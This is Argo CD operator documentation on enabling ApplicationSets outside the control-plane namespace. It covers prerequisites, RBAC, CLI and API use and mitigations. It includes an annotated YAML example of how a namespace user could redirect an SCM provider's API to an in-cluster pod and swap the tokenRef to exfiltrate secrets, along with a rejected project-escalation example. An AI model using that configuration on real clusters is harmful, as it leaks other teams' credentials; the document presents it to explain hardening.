github.com/argoproj/argo-cd/v3@v3.2.1/docs/operator-manual/applicationset/Appset-Any-Namespace.md (about) 1 # ApplicationSet in any namespace 2 3 !!! warning "Beta Feature (Since v2.8.0)" 4 This feature is in the [Beta](https://github.com/argoproj/argoproj/blob/main/community/feature-status.md#beta) stage. 5 It is generally considered stable, but there may be unhandled edge cases. 6 7 !!! warning 8 Please read this documentation carefully before you enable this feature. Misconfiguration could lead to potential security issues. 9 10 ## Introduction 11 12 As of version 2.8, Argo CD supports managing `ApplicationSet` resources in namespaces other than the control plane's namespace (which is usually `argocd`), but this feature has to be explicitly enabled and configured appropriately. 13 14 Argo CD administrators can define a certain set of namespaces where `ApplicationSet` resources may be created, updated and reconciled in. 15 16 As Applications generated by an ApplicationSet are generated in the same namespace as the ApplicationSet itself, this works in combination with [App in any namespace](../app-any-namespace.md). 17 18 ## Prerequisites 19 20 ### App in any namespace configured 21 22 This feature needs [App in any namespace](../app-any-namespace.md) feature activated. The list of namespaces must be the same. 23 24 ### Cluster-scoped Argo CD installation 25 26 This feature can only be enabled and used when your Argo CD ApplicationSet controller is installed as a cluster-wide instance, so it has permissions to list and manipulate resources on a cluster scope. It will *not* work with an Argo CD installed in namespace-scoped mode. 27 28 ### SCM Providers secrets consideration 29 30 By allowing ApplicationSet in any namespace you must be aware that any secrets can be exfiltrated using `scmProvider` or `pullRequest` generators. This means if ApplicationSet controller is configured to allow namespace `appNs` and some user is allowed to create 31 an ApplicationSet in `appNs` namespace, then the user can install a malicious Pod into the `appNs` namespace as described below 32 and read out the content of the secret indirectly, thus exfiltrating the secret value. 33 34 Here is an example: 35 36 ```yaml 37 apiVersion: argoproj.io/v1alpha1 38 kind: ApplicationSet 39 metadata: 40 name: myapps 41 namespace: appNs 42 spec: 43 goTemplate: true 44 goTemplateOptions: ["missingkey=error"] 45 generators: 46 - scmProvider: 47 gitea: 48 # The Gitea owner to scan. 49 owner: myorg 50 # With this malicious setting, user can send all request to a Pod that will log incoming requests including headers with tokens 51 api: http://my-service.appNs.svc.cluster.local 52 # If true, scan every branch of every repository. If false, scan only the default branch. Defaults to false. 53 allBranches: true 54 # By changing this token reference, user can exfiltrate any secrets 55 tokenRef: 56 secretName: gitea-token 57 key: token 58 template: 59 ``` 60 61 In order to prevent the scenario above administrator must restrict the urls of the allowed SCM Providers (example: `https://git.mydomain.com/,https://gitlab.mydomain.com/`) by setting the environment variable `ARGOCD_APPLICATIONSET_CONTROLLER_ALLOWED_SCM_PROVIDERS` to argocd-cmd-params-cm `applicationsetcontroller.allowed.scm.providers`. If another url is used, it will be rejected by the applicationset controller. 62 63 For example: 64 ```yaml 65 apiVersion: v1 66 kind: ConfigMap 67 metadata: 68 name: argocd-cmd-params-cm 69 data: 70 applicationsetcontroller.allowed.scm.providers: https://git.mydomain.com/,https://gitlab.mydomain.com/ 71 ``` 72 73 !!! note 74 Please note url used in the `api` field of the `ApplicationSet` must match the url declared by the Administrator including the protocol 75 76 !!! warning 77 The allow-list only applies to SCM providers for which the user may configure a custom `api`. Where an SCM or PR 78 generator does not accept a custom API URL, the provider is implicitly allowed. 79 80 If you do not intend to allow users to use the SCM or PR generators, you can disable them entirely by setting the environment variable `ARGOCD_APPLICATIONSET_CONTROLLER_ENABLE_SCM_PROVIDERS` to argocd-cmd-params-cm `applicationsetcontroller.enable.scm.providers` to `false`. 81 82 #### `tokenRef` Restrictions 83 84 It is **highly recommended** to enable SCM Providers secrets restrictions to avoid any secrets exfiltration. This 85 recommendation applies even when AppSets-in-any-namespace is disabled, but is especially important when it is enabled, 86 since non-Argo-admins may attempt to reference out-of-bounds secrets in the `argocd` namespace from an AppSet 87 `tokenRef`. 88 89 When this mode is enabled, the referenced secret must have a label `argocd.argoproj.io/secret-type` with value 90 `scm-creds`. 91 92 To enable this mode, set the `ARGOCD_APPLICATIONSET_CONTROLLER_TOKENREF_STRICT_MODE` environment variable to `true` in the 93 `argocd-application-controller` deployment. You can do this by adding the following to your `argocd-cmd-paramscm` 94 ConfigMap: 95 96 ```yaml 97 apiVersion: v1 98 kind: ConfigMap 99 metadata: 100 name: argocd-cmd-params-cm 101 data: 102 applicationsetcontroller.tokenref.strict.mode: "true" 103 ``` 104 105 ### Overview 106 107 In order for an ApplicationSet to be managed and reconciled outside the Argo CD's control plane namespace, two prerequisites must match: 108 109 1. The namespace list from which `argocd-applicationset-controller` can source `ApplicationSets` must be explicitly set using environment variable `ARGOCD_APPLICATIONSET_CONTROLLER_NAMESPACES` or alternatively using parameter `--applicationset-namespaces`. 110 2. The enabled namespaces must be entirely covered by the [App in any namespace](../app-any-namespace.md), otherwise the generated Applications generated outside the allowed Application namespaces won't be reconciled 111 112 It can be achieved by setting the environment variable `ARGOCD_APPLICATIONSET_CONTROLLER_NAMESPACES` to argocd-cmd-params-cm `applicationsetcontroller.namespaces` 113 114 `ApplicationSets` in different namespaces can be created and managed just like any other `ApplicationSet` in the `argocd` namespace previously, either declaratively or through the Argo CD API (e.g. using the CLI, the web UI, the REST API, etc). 115 116 ### Reconfigure Argo CD to allow certain namespaces 117 118 #### Change workload startup parameters 119 120 In order to enable this feature, the Argo CD administrator must reconfigure the `argocd-applicationset-controller` workloads to add the `--applicationset-namespaces` parameter to the container's startup command. 121 122 ### Safely template project 123 124 As [App in any namespace](../app-any-namespace.md) is a prerequisite, it is possible to safely template project. 125 126 Let's take an example with two teams and an infra project: 127 128 ```yaml 129 kind: AppProject 130 apiVersion: argoproj.io/v1alpha1 131 metadata: 132 name: infra-project 133 namespace: argocd 134 spec: 135 destinations: 136 - namespace: '*' 137 ``` 138 139 ```yaml 140 kind: AppProject 141 apiVersion: argoproj.io/v1alpha1 142 metadata: 143 name: team-one-project 144 namespace: argocd 145 spec: 146 sourceNamespaces: 147 - team-one-cd 148 ``` 149 150 ```yaml 151 kind: AppProject 152 apiVersion: argoproj.io/v1alpha1 153 metadata: 154 name: team-two-project 155 namespace: argocd 156 spec: 157 sourceNamespaces: 158 - team-two-cd 159 ``` 160 161 Creating following `ApplicationSet` generates two Applications `infra-escalation` and `team-two-escalation`. Both will be rejected as they are outside `argocd` namespace, therefore `sourceNamespaces` will be checked 162 163 ```yaml 164 apiVersion: argoproj.io/v1alpha1 165 kind: ApplicationSet 166 metadata: 167 name: team-one-product-one 168 namespace: team-one-cd 169 spec: 170 goTemplate: true 171 goTemplateOptions: ["missingkey=error"] 172 generators: 173 list: 174 - name: infra 175 project: infra-project 176 - name: team-two 177 project: team-two-project 178 template: 179 metadata: 180 name: '{{.name}}-escalation' 181 spec: 182 project: "{{.project}}" 183 ``` 184 185 ### ApplicationSet names 186 187 For the CLI, applicationSets are now referred to and displayed as in the format `<namespace>/<name>`. 188 189 For backwards compatibility, if the namespace of the ApplicationSet is the control plane's namespace (i.e. `argocd`), the `<namespace>` can be omitted from the applicationset name when referring to it. For example, the application names `argocd/someappset` and `someappset` are semantically the same and refer to the same application in the CLI and the UI. 190 191 ### Applicationsets RBAC 192 193 The RBAC syntax for Application objects has been changed from `<project>/<applicationset>` to `<project>/<namespace>/<applicationset>` to accommodate the need to restrict access based on the source namespace of the Application to be managed. 194 195 For backwards compatibility, Applications in the argocd namespace can still be referred to as `<project>/<applicationset>` in the RBAC policy rules. 196 197 Wildcards do not make any distinction between project and applicationset namespaces yet. For example, the following RBAC rule would match any application belonging to project foo, regardless of the namespace it is created in: 198 199 200 ``` 201 p, somerole, applicationsets, get, foo/*, allow 202 ``` 203 204 If you want to restrict access to be granted only to `ApplicationSets` with project `foo` within namespace `bar`, the rule would need to be adapted as follows: 205 206 ``` 207 p, somerole, applicationsets, get, foo/bar/*, allow 208 ``` 209 210 ## Managing applicationSets in other namespaces 211 212 ### Using the CLI 213 214 You can use all existing Argo CD CLI commands for managing applications in other namespaces, exactly as you would use the CLI to manage applications in the control plane's namespace. 215 216 For example, to retrieve the `ApplicationSet` named `foo` in the namespace `bar`, you can use the following CLI command: 217 218 ```shell 219 argocd appset get foo/bar 220 ``` 221 222 Likewise, to manage this applicationSet, keep referring to it as `foo/bar`: 223 224 ```bash 225 # Delete the application 226 argocd appset delete foo/bar 227 ``` 228 229 There is no change on the create command as it is using a file. You just need to add the namespace in the `metadata.namespace` field. 230 231 As stated previously, for applicationSets in the Argo CD's control plane namespace, you can omit the namespace from the application name. 232 233 ### Using the REST API 234 235 If you are using the REST API, the namespace for `ApplicationSet` cannot be specified as the application name, and resources need to be specified using the optional `appNamespace` query parameter. For example, to work with the `ApplicationSet` resource named `foo` in the namespace `bar`, the request would look like follows: 236 237 ```bash 238 GET /api/v1/applicationsets/foo?appsetNamespace=bar 239 ``` 240 241 For other operations such as `POST` and `PUT`, the `appNamespace` parameter must be part of the request's payload. 242 243 For `ApplicationSet` resources in the control plane namespace, this parameter can be omitted. 244 245 ## Clusters secrets consideration 246 247 By allowing ApplicationSet in any namespace you must be aware that clusters can be discovered and used. 248 249 Example: 250 251 Following will discover all clusters 252 253 ```yaml 254 spec: 255 generators: 256 - clusters: {} # Automatically use all clusters defined within Argo CD 257 ``` 258 259 If you don't want to allow users to discover all clusters with ApplicationSets from other namespaces you may consider deploying ArgoCD in namespace scope or use OPA rules.